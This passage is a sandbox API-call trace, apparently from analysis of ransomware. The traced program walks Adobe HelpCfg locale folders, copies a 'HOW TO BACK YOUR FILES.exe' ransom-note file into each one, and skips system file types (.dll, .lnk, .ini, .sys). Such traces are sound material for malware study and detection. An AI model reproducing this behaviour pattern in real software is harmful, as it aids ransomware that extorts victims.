	[0056.512] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nl_NL\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x39c1a830, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x39c1a830, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0056.512] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.512] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0056.512] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="Reader_10.0.helpcfg" | out: lpString1="Reader_10.0.helpcfg") returned="Reader_10.0.helpcfg"
	[0056.512] lstrlenW (lpString="Reader_10.0.helpcfg") returned 19
	[0056.512] lstrlenW (lpString="Apollon865") returned 10
	[0056.512] lstrcmpiW (lpString1=".0.helpcfg", lpString2="Apollon865") returned -1
	[0056.512] lstrlenW (lpString=".dll") returned 4
	[0056.512] lstrcmpiW (lpString1="Reader_10.0.helpcfg", lpString2=".dll") returned 1
	[0056.512] lstrlenW (lpString=".lnk") returned 4
	[0056.512] lstrcmpiW (lpString1="Reader_10.0.helpcfg", lpString2=".lnk") returned 1
	[0056.512] lstrlenW (lpString=".ini") returned 4
	[0056.512] lstrcmpiW (lpString1="Reader_10.0.helpcfg", lpString2=".ini") returned 1
	[0056.512] lstrlenW (lpString=".sys") returned 4
	[0056.512] lstrcmpiW (lpString1="Reader_10.0.helpcfg", lpString2=".sys") returned 1
	[0056.512] lstrlenW (lpString="Reader_10.0.helpcfg") returned 19
	[0056.513] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nb_NO", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nb_NO") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nb_NO"
	[0056.513] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59b118 | out: hHeap=0x580000) returned 1
	[0056.513] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ca8 | out: hHeap=0x580000) returned 1
	[0056.513] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nb_NO") returned 55
	[0056.513] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nb_NO" | out: lpString1="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nb_NO") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nb_NO"
	[0056.513] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0056.513] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nb_NO\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\nb_no\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0056.518] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0056.518] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nb_NO\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x39c1a830, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x39c1a830, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0056.518] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.518] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0056.518] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="Reader_10.0.helpcfg" | out: lpString1="Reader_10.0.helpcfg") returned="Reader_10.0.helpcfg"
	[0056.519] lstrlenW (lpString="Reader_10.0.helpcfg") returned 19
	[0056.519] lstrlenW (lpString="Apollon865") returned 10
	[0056.519] lstrcmpiW (lpString1=".0.helpcfg", lpString2="Apollon865") returned -1
	[0056.519] lstrlenW (lpString=".dll") returned 4
	[0056.519] lstrcmpiW (lpString1="Reader_10.0.helpcfg", lpString2=".dll") returned 1
	[0056.519] lstrlenW (lpString=".lnk") returned 4
	[0056.519] lstrcmpiW (lpString1="Reader_10.0.helpcfg", lpString2=".lnk") returned 1
	[0056.519] lstrlenW (lpString=".ini") returned 4
	[0056.519] lstrcmpiW (lpString1="Reader_10.0.helpcfg", lpString2=".ini") returned 1
	[0056.519] lstrlenW (lpString=".sys") returned 4
	[0056.519] lstrcmpiW (lpString1="Reader_10.0.helpcfg", lpString2=".sys") returned 1
	[0056.519] lstrlenW (lpString="Reader_10.0.helpcfg") returned 19
	[0056.519] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ko_KR", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ko_KR") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ko_KR"
	[0056.519] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59b0a0 | out: hHeap=0x580000) returned 1
	[0056.519] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c48 | out: hHeap=0x580000) returned 1
	[0056.519] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ko_KR") returned 55
	[0056.519] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ko_KR" | out: lpString1="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ko_KR") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ko_KR"
	[0056.519] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0056.519] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ko_KR\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\ko_kr\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0056.554] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0056.554] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ko_KR\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x39c8cc50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x39c8cc50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0056.555] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.555] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0056.555] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="Reader_10.0.helpcfg" | out: lpString1="Reader_10.0.helpcfg") returned="Reader_10.0.helpcfg"
	[0056.555] lstrlenW (lpString="Reader_10.0.helpcfg") returned 19
	[0056.555] lstrlenW (lpString="Apollon865") returned 10
	[0056.555] lstrcmpiW (lpString1=".0.helpcfg", lpString2="Apollon865") returned -1
	[0056.555] lstrlenW (lpString=".dll") returned 4
	[0056.555] lstrcmpiW (lpString1="Reader_10.0.helpcfg", lpString2=".dll") returned 1
	[0056.555] lstrlenW (lpString=".lnk") returned 4
	[0056.555] lstrcmpiW (lpString1="Reader_10.0.helpcfg", lpString2=".lnk") returned 1
	[0056.555] lstrlenW (lpString=".ini") returned 4
	[0056.555] lstrcmpiW (lpString1="Reader_10.0.helpcfg", lpString2=".ini") returned 1
	[0056.555] lstrlenW (lpString=".sys") returned 4
	[0056.555] lstrcmpiW (lpString1="Reader_10.0.helpcfg", lpString2=".sys") returned 1
	[0056.555] lstrlenW (lpString="Reader_10.0.helpcfg") returned 19
	[0056.555] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ja_JP", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ja_JP") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ja_JP"
	[0056.555] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59b028 | out: hHeap=0x580000) returned 1
	[0056.555] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7be8 | out: hHeap=0x580000) returned 1
	[0056.555] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ja_JP") returned 55
	[0056.555] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ja_JP" | out: lpString1="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ja_JP") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ja_JP"
	[0056.555] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0056.555] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ja_JP\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\ja_jp\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0056.559] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0056.559] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ja_JP\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x39c8cc50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x39c8cc50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0056.559] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.559] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0056.559] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="Reader_10.0.helpcfg" | out: lpString1="Reader_10.0.helpcfg") returned="Reader_10.0.helpcfg"
	[0056.559] lstrlenW (lpString="Reader_10.0.helpcfg") returned 19
	[0056.559] lstrlenW (lpString="Apollon865") returned 10
	[0056.559] lstrcmpiW (lpString1=".0.helpcfg", lpString2="Apollon865") returned -1
	[0056.559] lstrlenW (lpString=".dll") returned 4
	[0056.560] lstrcmpiW (lpString1="Reader_10.0.helpcfg", lpString2=".dll") returned 1
	[0056.560] lstrlenW (lpString=".lnk") returned 4
	[0056.560] lstrcmpiW (lpString1="Reader_10.0.helpcfg", lpString2=".lnk") returned 1
	[0056.560] lstrlenW (lpString=".ini") returned 4
	[0056.560] lstrcmpiW (lpString1="Reader_10.0.helpcfg", lpString2=".ini") returned 1
	[0056.560] lstrlenW (lpString=".sys") returned 4
	[0056.560] lstrcmpiW (lpString1="Reader_10.0.helpcfg", lpString2=".sys") returned 1
	[0056.560] lstrlenW (lpString="Reader_10.0.helpcfg") returned 19
	[0056.560] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\it_IT", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\it_IT") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\it_IT"
	[0056.560] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59afb0 | out: hHeap=0x580000) returned 1
	[0056.560] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ac8 | out: hHeap=0x580000) returned 1
	[0056.560] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\it_IT") returned 55
	[0056.560] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\it_IT" | out: lpString1="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\it_IT") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\it_IT"
	[0056.560] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0056.560] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\it_IT\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\it_it\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0056.564] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0056.564] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\it_IT\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x39c8cc50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x39c8cc50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0056.564] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.564] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0056.564] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="Reader_10.0.helpcfg" | out: lpString1="Reader_10.0.helpcfg") returned="Reader_10.0.helpcfg"
	[0056.564] lstrlenW (lpString="Reader_10.0.helpcfg") returned 19
	[0056.564] lstrlenW (lpString="Apollon865") returned 10
	[0056.564] lstrcmpiW (lpString1=".0.helpcfg", lpString2="Apollon865") returned -1
	[0056.564] lstrlenW (lpString=".dll") returned 4
	[0056.564] lstrcmpiW (lpString1="Reader_10.0.helpcfg", lpString2=".dll") returned 1
	[0056.564] lstrlenW (lpString=".lnk") returned 4
	[0056.564] lstrcmpiW (lpString1="Reader_10.0.helpcfg", lpString2=".lnk") returned 1
	[0056.564] lstrlenW (lpString=".ini") returned 4
	[0056.564] lstrcmpiW (lpString1="Reader_10.0.helpcfg", lpString2=".ini") returned 1
	[0056.564] lstrlenW (lpString=".sys") returned 4
	[0056.564] lstrcmpiW (lpString1="Reader_10.0.helpcfg", lpString2=".sys") returned 1
	[0056.564] lstrlenW (lpString="Reader_10.0.helpcfg") returned 19
	[0056.565] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hu_HU", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hu_HU") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hu_HU"
	[0056.565] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59af38 | out: hHeap=0x580000) returned 1
	[0056.565] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c28 | out: hHeap=0x580000) returned 1
	[0056.565] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hu_HU") returned 55
	[0056.565] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hu_HU" | out: lpString1="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hu_HU") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hu_HU"
	[0056.565] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0056.565] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hu_HU\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\hu_hu\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0056.569] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0056.569] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hu_HU\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x39c8cc50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x39c8cc50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0056.569] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.569] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0056.569] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="Reader_10.0.helpcfg" | out: lpString1="Reader_10.0.helpcfg") returned="Reader_10.0.helpcfg"
	[0056.569] lstrlenW (lpString="Reader_10.0.helpcfg") returned 19
	[0056.569] lstrlenW (lpString="Apollon865") returned 10
	[0056.569] lstrcmpiW (lpString1=".0.helpcfg", lpString2="Apollon865") returned -1
	[0056.569] lstrlenW (lpString=".dll") returned 4
	[0056.569] lstrcmpiW (lpString1="Reader_10.0.helpcfg", lpString2=".dll") returned 1
	[0056.569] lstrlenW (lpString=".lnk") returned 4
	[0056.569] lstrcmpiW (lpString1="Reader_10.0.helpcfg", lpString2=".lnk") returned 1
	[0056.569] lstrlenW (lpString=".ini") returned 4
	[0056.569] lstrcmpiW (lpString1="Reader_10.0.helpcfg", lpString2=".ini") returned 1
	[0056.569] lstrlenW (lpString=".sys") returned 4
	[0056.569] lstrcmpiW (lpString1="Reader_10.0.helpcfg", lpString2=".sys") returned 1
	[0056.569] lstrlenW (lpString="Reader_10.0.helpcfg") returned 19
	[0056.569] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hr_HR", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hr_HR") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hr_HR"
	[0056.569] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aec0 | out: hHeap=0x580000) returned 1
	[0056.569] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7aa8 | out: hHeap=0x580000) returned 1
	[0056.569] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hr_HR") returned 55
	[0056.569] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hr_HR" | out: lpString1="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hr_HR") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hr_HR"
	[0056.570] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0056.570] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hr_HR\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\hr_hr\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0056.627] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0056.627] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hr_HR\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x39d251d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x39d251d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0056.627] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.627] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0056.627] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="Reader_10.0.helpcfg" | out: lpString1="Reader_10.0.helpcfg") returned="Reader_10.0.helpcfg"
	[0056.627] lstrlenW (lpString="Reader_10.0.helpcfg") returned 19
	[0056.627] lstrlenW (lpString="Apollon865") returned 10
	[0056.627] lstrcmpiW (lpString1=".0.helpcfg", lpString2="Apollon865") returned -1
	[0056.627] lstrlenW (lpString=".dll") returned 4
	[0056.627] lstrcmpiW (lpString1="Reader_10.0.helpcfg", lpString2=".dll") returned 1
	[0056.627] lstrlenW (lpString=".lnk") returned 4
	[0056.628] lstrcmpiW (lpString1="Reader_10.0.helpcfg", lpString2=".lnk") returned 1
	[0056.628] lstrlenW (lpString=".ini") returned 4
	[0056.628] lstrcmpiW (lpString1="Reader_10.0.helpcfg", lpString2=".ini") returned 1
	[0056.628] lstrlenW (lpString=".sys") returned 4
	[0056.628] lstrcmpiW (lpString1="Reader_10.0.helpcfg", lpString2=".sys") returned 1
	[0056.628] lstrlenW (lpString="Reader_10.0.helpcfg") returned 19
	[0056.628] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fr_FR", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fr_FR") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fr_FR"
	[0056.628] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ae48 | out: hHeap=0x580000) returned 1
	[0056.628] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7bc8 | out: hHeap=0x580000) returned 1
	[0056.628] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fr_FR") returned 55
	[0056.628] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fr_FR" | out: lpString1="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fr_FR") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fr_FR"
	[0056.628] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0056.628] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fr_FR\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\fr_fr\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0056.631] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0056.631] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fr_FR\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x39d251d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x39d251d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0056.632] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.632] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0056.632] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="Reader_10.0.helpcfg" | out: lpString1="Reader_10.0.helpcfg") returned="Reader_10.0.helpcfg"
	[0056.632] lstrlenW (lpString="Reader_10.0.helpcfg") returned 19
	[0056.632] lstrlenW (lpString="Apollon865") returned 10
	[0056.632] lstrcmpiW (lpString1=".0.helpcfg", lpString2="Apollon865") returned -1
	[0056.632] lstrlenW (lpString=".dll") returned 4
	[0056.632] lstrcmpiW (lpString1="Reader_10.0.helpcfg", lpString2=".dll") returned 1
	[0056.632] lstrlenW (lpString=".lnk") returned 4
	[0056.632] lstrcmpiW (lpString1="Reader_10.0.helpcfg", lpString2=".lnk") returned 1
	[0056.632] lstrlenW (lpString=".ini") returned 4
	[0056.632] lstrcmpiW (lpString1="Reader_10.0.helpcfg", lpString2=".ini") returned 1
	[0056.632] lstrlenW (lpString=".sys") returned 4
	[0056.632] lstrcmpiW (lpString1="Reader_10.0.helpcfg", lpString2=".sys") returned 1
	[0056.632] lstrlenW (lpString="Reader_10.0.helpcfg") returned 19
	[0056.632] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fi_FI", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fi_FI") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fi_FI"
	[0056.632] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59add0 | out: hHeap=0x580000) returned 1
	[0056.632] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b88 | out: hHeap=0x580000) returned 1
	[0056.632] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fi_FI") returned 55
	[0056.632] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fi_FI" | out: lpString1="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fi_FI") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fi_FI"
	[0056.632] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
